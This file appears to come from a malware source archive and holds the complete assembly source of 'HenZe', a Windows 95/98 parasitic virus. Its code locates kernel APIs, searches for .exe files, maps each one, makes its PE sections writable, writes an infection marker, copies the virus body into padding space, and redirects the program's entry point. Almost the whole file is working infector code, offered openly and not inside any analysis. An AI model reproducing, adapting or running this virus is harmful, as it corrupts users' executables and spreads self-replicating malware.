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MalwareSourceCode/LegacyWindows/Win95/Win95.Henze.asm

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2020-10-10 02:54:36 +00:00
;---------------------------- W95 HenZe BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
.586P
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
KERNEL95 EQU 0BFF70000h
MIX_SIZ EQU FILE_END-MEGAMIX
MIX_MEM EQU MEM_END-MEGAMIX
NABLA EQU DELTA-MEGAMIX
MARKA EQU 66
FLAGZ EQU 00000020H OR 20000000H OR 80000000H
MAX_PATH EQU 260
MACROSIZE MACRO
DB MIX_SIZ/01000 mod 10 + "0"
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER
; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)
; MOV
; CALL
; JNZ ONLY SIX OPCODES WERE USED.. xDDD
; ADD /
; SUB /
; CMP /
; AND NO INDEXING MODE (EASY DISASM CODE)
;MOV EAX,[EBP+5]
;TURNS INTO:
; ADD EBP,5
; MOV EAX,[EBP]
;AND SO...
; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND
; SEVERAL META TIPS
.DATA
copyrisgt DB 'HenZe '
MACROSIZE
.CODE
; BIZARRE VIRUS BEGINS...
MEGAMIX:
MOV EAX, 401005H
MILO EQU $-4
DELTA:
MOV EBP,EAX
WINES:
MOV EAX,KERNEL95
MOV CL,'M'
CMP BYTE PTR [EAX],CL
JNZ WARNING
MOV EBX,EAX
MOV EDX,02b226A57h ; GPA SIGNATURE FOR W9X
BUSCA3:
ADD EAX,1
CMP DWORD PTR [EAX],EDX
JNZ SHORT BUSCA3
APIZ:
MOV ECX,OFFSET GPA
ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV [ECX],EAX
MOV ESI, OFFSET APIs
ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV EDI,OFFSET APIaddresses
ADD EDI,EBP
SUB EDI,OFFSET DELTA
GPI: SUB ESP,4
MOV [ESP],ESI
SUB ESP,4
MOV [ESP],EBX
MOV ECX,OFFSET GPA
ADD ECX,EBP
SUB ECX,OFFSET DELTA
CALL [ECX]
MOV [EDI],EAX
ADD EDI,4
NPI:
MOV AL,BYTE PTR [ESI]
ADD ESI,1
CMP AL,0
JNZ SHORT NPI
CMP [ESI], AL
JNZ GPI
INFECT:
MOV EAX, OFFSET Win32FindData
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET IMASK
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET FindFirstFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX, OFFSET SearcHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
LOOPER:
CMP EAX,-1
JNZ SUPPER
WARNING:
MOV EAX,12345678H
ORG $-4
OLD_EIP DD 00401000H
ADD ESP,4
CALL EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE
SUPPER:
CMP EAX,0
JNZ ALLKEY
PILLE:
CMP ESP,0 ; ESP NEVER IS ZERO
JNZ WARNING
ALLKEY:
SUB ESP,4
MOV EAX,OFFSET OLD_EIP
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[EAX]
MOV [ESP],EBX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],00000080h
SUB ESP,4
MOV [ESP],3
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],0C0000000h
MOV EAX ,offset FNAME ; OPEN IT!
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CreateFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX,OFFSET FileHandle
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX ; SAVE HNDL
MOV EBX,OFFSET WFD_nFileSizeLow
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]
MOV EDX,0
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],4H
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV EBX,OFFSET FileHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV ECX,[EBX]
MOV [ESP],ECX
MOV EAX, OFFSET CreateFileMappingA
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX,OFFSET MapHandle
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX
MOV EBX,OFFSET WFD_nFileSizeLow
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]
MOV EDX,0
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
ADD EDX,2
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV ECX, OFFSET MapHandle
ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV EBX,[ECX]
MOV [ESP],EBX
MOV EBX, OFFSET MapViewOfFile
ADD EBX,EBP
SUB EBX,OFFSET DELTA
CALL [EBX]
MOV EBX,OFFSET MapAddress
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EAX ; GET PE HDR
MOV EDX,EAX
ADD EAX,3CH
MOV ESI,[EAX]
ADD ESI,EDX
CMP BYTE PTR [ESI],"P" ; IS A 'P'E ?
JNZ Cerrar
ADD ESI,MARKA
CMP BYTE PTR [ESI],"H" ; HenKy IS HERE ?
JNZ Cerrar1
CMP ESP,0
JNZ Cerrar
Cerrar1:
SUB ESI,MARKA
MOV EBX,ESI
ADD EBX,3CH
MOV EAX,[EBX] ; ONLY SOME W98 HAVE 1000H/1000H INSTEAD 1000H/200H
MOV ECX,ESI
ADD ECX,56
CMP EAX,[ECX]
JNZ Cerrar
SUB ESP,4
MOV [ESP],ESI
MOV ECX,0
MOV EDI,ESI
ADD EDI,6
MOV CL,BYTE PTR [EDI]
ADD EDI,74H-6
MOV EBX,[EDI]
ADD EBX,EBX
ADD EBX,EBX
ADD EBX,EBX
ADD ESI,78H
ADD ESI,EBX
ADD ESI,24H
WRI:
MOV DWORD PTR [ESI], 0C0000040h
ADD ESI,40
SUB ECX,1
CMP ECX,0
JNZ WRI
MOV ESI,[ESP]
ADD ESP,4
MOV EDI,ESI
ADD ESI,28H
MOV EAX,[ESI]
ADD ESI,34H-28H
ADD EAX,[ESI]
MOV ECX,[ESI]
MOV EDX,OFFSET BASE
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],ECX
MOV EBX,OFFSET OLD_EIP
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EDI
ADD ESI,MARKA
MOV BYTE PTR [ESI],"H" ; HenKy!
MOV EAX,OFFSET WFD_nFileSizeLow
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV ECX,[EAX]
MOV EAX,EDI
BU:
CMP DWORD PTR [EDI], 'XGNI'
JNZ PE
CMP ESP,0
JNZ PO
PE:
ADD EDI,1
SUB ECX,1
CMP ECX,0
JNZ BU
CMP ESP,0
JNZ Cerrar
PO:
MOV ESI,EDI
ADD ESI,4
CMP DWORD PTR [ESI], 'DAPX'
JNZ PE
SUB ESP,4
MOV [ESP],EDI
MOV EBX,OFFSET MapAddress
ADD EBX,EBP
SUB EBX,OFFSET DELTA
SUB EDI,[EBX]
ADD EAX,28H
MOV [EAX],EDI
MOV EBX,OFFSET BASE
ADD EBX,EBP
SUB EBX,OFFSET DELTA
ADD EDI,[EBX]
ADD EDI,5
MOV EDX,OFFSET MILO
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],EDI
MOV EDI,[ESP]
ADD ESP,4
MOV ESI,OFFSET MEGAMIX
ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV ECX,MIX_SIZ/4
BASTARDO_VIRUS:
MOV EAX,[ESI]
MOV [EDI],EAX
ADD ESI,4
ADD EDI,4
SUB ECX,1
CMP ECX,0
JNZ BASTARDO_VIRUS
UnMapFile:
MOV EAX, OFFSET MapAddress
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET UnmapViewOfFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
CloseMap:
MOV EAX, OFFSET MapHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
Cerrar:
MOV EAX,OFFSET OLD_EIP
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[ESP]
MOV [EAX],EBX
ADD ESP,4
MOV EAX, OFFSET FileHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
TOPO:
MOV EAX, offset Win32FindData
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET SearcHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET FindNextFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
CMP ESP,0
JNZ LOOPER
APIs:
DB "CreateFileA",0
DB "CloseHandle",0
DB "FindFirstFileA",0
DB "FindNextFileA",0
DB "MapViewOfFile",0
DB "UnmapViewOfFile",0
DB "CreateFileMappingA",0
Zero_ DB 0
BASE DD 0
IMASK DB '*.ExE',0
DB 'HenZe LameVirus BY HenKy',0
align 4
FILE_END LABEL BYTE
APIaddresses:
CreateFile DD 0
CloseHandle DD 0
FindFirstFile DD 0
FindNextFile DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CreateFileMappingA DD 0
GPA DD 0
SearcHandle DD 0
FileHandle DD 0
MapHandle DD 0
MapAddress DD 0
FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
Win32FindData:
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
FNAME DD 0
DD 0
DD 0
DD 0
DD 0
DD 0
align 4
MEM_END LABEL BYTE
EXITPROC:
PUSH 0
CALL ExitProcess
ENDS
END MEGAMIX
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